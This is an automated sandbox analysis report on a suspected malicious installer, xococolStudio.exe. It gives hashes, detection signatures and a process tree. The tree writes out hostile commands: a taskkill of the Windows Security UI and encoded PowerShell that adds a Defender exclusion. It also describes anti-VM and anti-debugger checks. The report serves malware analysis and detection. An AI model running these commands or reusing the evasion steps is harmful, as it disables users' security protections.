Overview
overview
9Static
static
3Launcher.exe
windows10-2004-x64
7$PLUGINSDI...ls.dll
windows10-2004-x64
3$PLUGINSDI...em.dll
windows10-2004-x64
3LICENSES.c...m.html
windows10-2004-x64
3d3dcompiler_47.dll
windows10-2004-x64
1ffmpeg.dll
windows10-2004-x64
1libEGL.dll
windows10-2004-x64
1libGLESv2.dll
windows10-2004-x64
1resources/elevate.exe
windows10-2004-x64
3vk_swiftshader.dll
windows10-2004-x64
1vulkan-1.dll
windows10-2004-x64
1xococolStudio.exe
windows10-2004-x64
9$PLUGINSDI...7z.dll
windows10-2004-x64
3Analysis
- max time kernel
30s - max time network
37s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
18/04/2026, 22:41
Static task
static1
Behavioral task
behavioral1
Sample
Launcher.exe
Resource
win10v2004-20260130-en
Behavioral task
behavioral2
Sample
$PLUGINSDIR/StdUtils.dll
Resource
win10v2004-20260130-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/System.dll
Resource
win10v2004-20260130-en
Behavioral task
behavioral4
Sample
LICENSES.chromium.html
Resource
win10v2004-20260130-en
Behavioral task
behavioral5
Sample
d3dcompiler_47.dll
Resource
win10v2004-20260130-en
Behavioral task
behavioral6
Sample
ffmpeg.dll
Resource
win10v2004-20260130-en
Behavioral task
behavioral7
Sample
libEGL.dll
Resource
win10v2004-20260130-en
Behavioral task
behavioral8
Sample
libGLESv2.dll
Resource
win10v2004-20260130-en
Behavioral task
behavioral9
Sample
resources/elevate.exe
Resource
win10v2004-20260130-en
Behavioral task
behavioral10
Sample
vk_swiftshader.dll
Resource
win10v2004-20260130-en
Behavioral task
behavioral11
Sample
vulkan-1.dll
Resource
win10v2004-20260130-en
Behavioral task
behavioral12
Sample
xococolStudio.exe
Resource
win10v2004-20260130-en
Behavioral task
behavioral13
Sample
$PLUGINSDIR/nsis7z.dll
Resource
win10v2004-20260130-en
General
- Target xococolStudio.exe
- Size 180.0MB
- Sample260418-2mb37ahs3j
- SHA256 f2681cf48b9dddcf302dea60715a142df3a61c4ccdcd7e7721a155bc3900b12e
- MD5 660976312c151867262836babce3bc90
- SHA1 4a502b5d61fe903fa2149ce6c46ddcb6d5a8a09c
- SHA512 a0f4de5da7153931b51b359699820abe01176150680e80be7db9659120df04980c4bf92def32e27f699884feb5c89002cb05147bb654245fc3e9184a44c1e5c6
- SSDEEP 1572864:pH0f0gqxb0WBFh/LVO9dyKcRmAswCXj5EtV4ga5h0q2ZOADpAyK5/Y3P8kbVr+qI:esok+hK7
- TLSH T1E8988C03F39A50D9E01DD1B58B9B9633EAB1B8854324A2DF27540B512F77EE86B3DB10
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 2dc77e1942674c75.exe - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 2dc77e1942674c75.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 2dc77e1942674c75.exe - Executes dropped EXE 1 IoCs
pid Process 4524 2dc77e1942674c75.exe -
resource yara_rule behavioral12/files/0x000900000002439e-38.dat themida behavioral12/memory/4524-42-0x0000000140000000-0x0000000140798000-memory.dmp themida behavioral12/memory/4524-43-0x0000000140000000-0x0000000140798000-memory.dmp themida - Checks whether UAC is enabled 1 TTPs 1 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 2dc77e1942674c75.exe - Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 4524 2dc77e1942674c75.exe - Checks processor information in registry 2 TTPs 24 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString xococolStudio.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz xococolStudio.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5 xococolStudio.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString xococolStudio.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz xococolStudio.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 xococolStudio.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz xococolStudio.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz xococolStudio.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6 xococolStudio.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString xococolStudio.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2 xococolStudio.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString xococolStudio.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz xococolStudio.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString xococolStudio.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 xococolStudio.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz xococolStudio.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz xococolStudio.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4 xococolStudio.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7 xococolStudio.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz xococolStudio.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString xococolStudio.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString xococolStudio.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString xococolStudio.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3 xococolStudio.exe - Kills process with taskkill 1 IoCs
pid Process 2316 taskkill.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 4716 powershell.exe 4716 powershell.exe 1092 powershell.exe 1092 powershell.exe 4108 powershell.exe 4108 powershell.exe 4524 2dc77e1942674c75.exe 4524 2dc77e1942674c75.exe - Suspicious use of AdjustPrivilegeToken 60 IoCs
description pid Process Token: SeDebugPrivilege 4716 powershell.exe Token: SeIncreaseQuotaPrivilege 4716 powershell.exe Token: SeSecurityPrivilege 4716 powershell.exe Token: SeTakeOwnershipPrivilege 4716 powershell.exe Token: SeLoadDriverPrivilege 4716 powershell.exe Token: SeSystemProfilePrivilege 4716 powershell.exe Token: SeSystemtimePrivilege 4716 powershell.exe Token: SeProfSingleProcessPrivilege 4716 powershell.exe Token: SeIncBasePriorityPrivilege 4716 powershell.exe Token: SeCreatePagefilePrivilege 4716 powershell.exe Token: SeBackupPrivilege 4716 powershell.exe Token: SeRestorePrivilege 4716 powershell.exe Token: SeShutdownPrivilege 4716 powershell.exe Token: SeDebugPrivilege 4716 powershell.exe Token: SeSystemEnvironmentPrivilege 4716 powershell.exe Token: SeRemoteShutdownPrivilege 4716 powershell.exe Token: SeUndockPrivilege 4716 powershell.exe Token: SeManageVolumePrivilege 4716 powershell.exe Token: 33 4716 powershell.exe Token: 34 4716 powershell.exe Token: 35 4716 powershell.exe Token: 36 4716 powershell.exe Token: SeShutdownPrivilege 2736 xococolStudio.exe Token: SeCreatePagefilePrivilege 2736 xococolStudio.exe Token: SeDebugPrivilege 1092 powershell.exe Token: SeIncreaseQuotaPrivilege 1092 powershell.exe Token: SeSecurityPrivilege 1092 powershell.exe Token: SeTakeOwnershipPrivilege 1092 powershell.exe Token: SeLoadDriverPrivilege 1092 powershell.exe Token: SeSystemProfilePrivilege 1092 powershell.exe Token: SeSystemtimePrivilege 1092 powershell.exe Token: SeProfSingleProcessPrivilege 1092 powershell.exe Token: SeIncBasePriorityPrivilege 1092 powershell.exe Token: SeCreatePagefilePrivilege 1092 powershell.exe Token: SeBackupPrivilege 1092 powershell.exe Token: SeRestorePrivilege 1092 powershell.exe Token: SeShutdownPrivilege 1092 powershell.exe Token: SeDebugPrivilege 1092 powershell.exe Token: SeSystemEnvironmentPrivilege 1092 powershell.exe Token: SeRemoteShutdownPrivilege 1092 powershell.exe Token: SeUndockPrivilege 1092 powershell.exe Token: SeManageVolumePrivilege 1092 powershell.exe Token: 33 1092 powershell.exe Token: 34 1092 powershell.exe Token: 35 1092 powershell.exe Token: 36 1092 powershell.exe Token: SeDebugPrivilege 2316 taskkill.exe Token: SeDebugPrivilege 4108 powershell.exe Token: SeShutdownPrivilege 2736 xococolStudio.exe Token: SeCreatePagefilePrivilege 2736 xococolStudio.exe Token: SeShutdownPrivilege 2736 xococolStudio.exe Token: SeCreatePagefilePrivilege 2736 xococolStudio.exe Token: SeShutdownPrivilege 2736 xococolStudio.exe Token: SeCreatePagefilePrivilege 2736 xococolStudio.exe Token: SeShutdownPrivilege 2736 xococolStudio.exe Token: SeCreatePagefilePrivilege 2736 xococolStudio.exe Token: SeShutdownPrivilege 2736 xococolStudio.exe Token: SeCreatePagefilePrivilege 2736 xococolStudio.exe Token: SeShutdownPrivilege 2736 xococolStudio.exe Token: SeCreatePagefilePrivilege 2736 xococolStudio.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 2736 wrote to memory of 436 2736 xococolStudio.exe 84 PID 2736 wrote to memory of 436 2736 xococolStudio.exe 84 PID 2736 wrote to memory of 2172 2736 xococolStudio.exe 85 PID 2172 wrote to memory of 4716 2172 cmd.exe 87 PID 2736 wrote to memory of 2296 2736 xococolStudio.exe 89 PID 2296 wrote to memory of 1092 2296 cmd.exe 91 PID 2736 wrote to memory of 1784 2736 xococolStudio.exe 92 PID 1784 wrote to memory of 2612 1784 cmd.exe 94 PID 2612 wrote to memory of 772 2612 net.exe 95 PID 2736 wrote to memory of 3752 2736 xococolStudio.exe 96 PID 3752 wrote to memory of 2316 3752 cmd.exe 98 PID 2736 wrote to memory of 4108 2736 xococolStudio.exe 99 PID 2736 wrote to memory of 968 2736 xococolStudio.exe 101 PID 2736 wrote to memory of 4524 2736 xococolStudio.exe 102
Processes
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C:\Users\Admin\AppData\Local\Temp\xococolStudio.exe"C:\Users\Admin\AppData\Local\Temp\xococolStudio.exe"1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2736 -
C:\Users\Admin\AppData\Local\Temp\xococolStudio.exe"C:\Users\Admin\AppData\Local\Temp\xococolStudio.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\xococolstudio-neox" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1756,i,796721259611879362,13187139862705155042,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1684 /prefetch:22⤵PID:436
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand QAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AUABvAHIAdABDAG8AbgBuAGUAYwB0AG8AcgApAC4AQwBvAHUAbgB0AA=="2⤵
- Suspicious use of WriteProcessMemory
PID:2172 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -NonInteractive -EncodedCommand QAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AUABvAHIAdABDAG8AbgBuAGUAYwB0AG8AcgApAC4AQwBvAHUAbgB0AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4716
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand RwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBWAGkAZABlAG8AQwBvAG4AdAByAG8AbABsAGUAcgAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlAA=="2⤵
- Suspicious use of WriteProcessMemory
PID:2296 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -NonInteractive -EncodedCommand RwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBWAGkAZABlAG8AQwBvAG4AdAByAG8AbABsAGUAcgAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlAA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1092
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "net session"2⤵
- Suspicious use of WriteProcessMemory
PID:1784 -
C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
PID:2612 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵PID:772
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM SecHealthUI.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3752 -
C:\Windows\system32\taskkill.exetaskkill /F /IM SecHealthUI.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2316
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -EncodedCommand dAByAHkAIAB7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAH0AIABjAGEAdABjAGgAIAB7AH0A2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4108
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C:\Users\Admin\AppData\Local\Temp\xococolStudio.exe"C:\Users\Admin\AppData\Local\Temp\xococolStudio.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\xococolstudio-neox" --field-trial-handle=2020,i,796721259611879362,13187139862705155042,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2016 /prefetch:32⤵PID:968
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C:\Users\Admin\AppData\Local\Temp\2dc77e1942674c75.exeC:\Users\Admin\AppData\Local\Temp\2dc77e1942674c75.exe2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4524
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 b58f994c644f7b4a831e889630bfd7ca0860aeb1e0920dc0f5d4928585a9dbab
- MD5 3bfc414667e1ebc31e9259fa1db290fa
- SHA1 9bff989429779efef334e5524a362e7b6ff266cb
- SHA512 e6cb000e8f900132f7dc661f943b8e91e945d171157ff3289b91e9d79f70230e363ed65b7ec97f451b376cf4706a14de9a86193e72dcea8fe3aa8c86c6117d13
- TLSH T1E371BF323375B0D4C9567F072A2819C063BF4396EA98AF4CB25C621ED92751B9B122F7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 dbb08386cd9f304d5aa17935079b599760b504b45709c408ff5f2378bbdb0b9e
- MD5 71207fb9532b557fde35300361bcd25a
- SHA1 67512f831c48abdfe4dc1efee8dd3c668906110f
- SHA512 c8ac4bfd772aee505705e956393edccae3fd5cecfc7a7a5e241d61ae1c0b3ebde9289e2b59ab705afd3a1f92a98922ed495cea2ab1383aa014e835f0e425a85f
- TLSH T1D4216527B39CC821CC99253A209CAC1172B683C7809ECF8F6EC0D224A47FA84CB61594
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 b5b90094dac3d1015520ddc25136f5ceeb672c479eabd09799f12af543803e91
- MD5 8f0f0bdcbe702bed64996636fcef4e78
- SHA1 70309052c181844e964217d8ef515332c151415d
- SHA512 3c41b164bf66d4c17c433a51a9b789b11a98fb0549e72b5c9fe75bb97797af866ce4e042499e1cb14a6a9c91274eb4f911e0e9e6cf6d1fcf80dd9b3790da289d
- TLSH T1B8218727B39CC921CC99153A209DAC5172B683C7809ECF8F6FC0D224A17FAC4CB71590
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\2dc77e1942674c75.exe
- Size 3.1MB
- SHA256 be19c65b4611bd85f45ad369ef6bf10facd350019f1d0f766e02974d369df007
- MD5 48d92fce54545b02d82b12d2eaa3279c
- SHA1 17f9f1f8fe7eb6e0d2bb6ddaf6e4c5bd43a87ddf
- SHA512 7198eab50c77303de58413152e565382395f9cebc14116cbc37a2bf107e0934ccd1b316a5c90c23491b03bd7117ea77785ea0044e01b5fa8e8e423f95db866a8
- SSDEEP 49152:tsICLEb+fWldNtcdlEnL6Ce07ivaN2pMX/SkjsVWpVnV4rKWfrYJ6M+fEUShkZ:t49dlaLmvVp+KavWTY+fEUvZ
- TLSH T1AFE5233A32A815A6FD77B178CE06A773D7F2B1029380A39E07648B751F53A65F12D390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s100i1fh.s0j.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH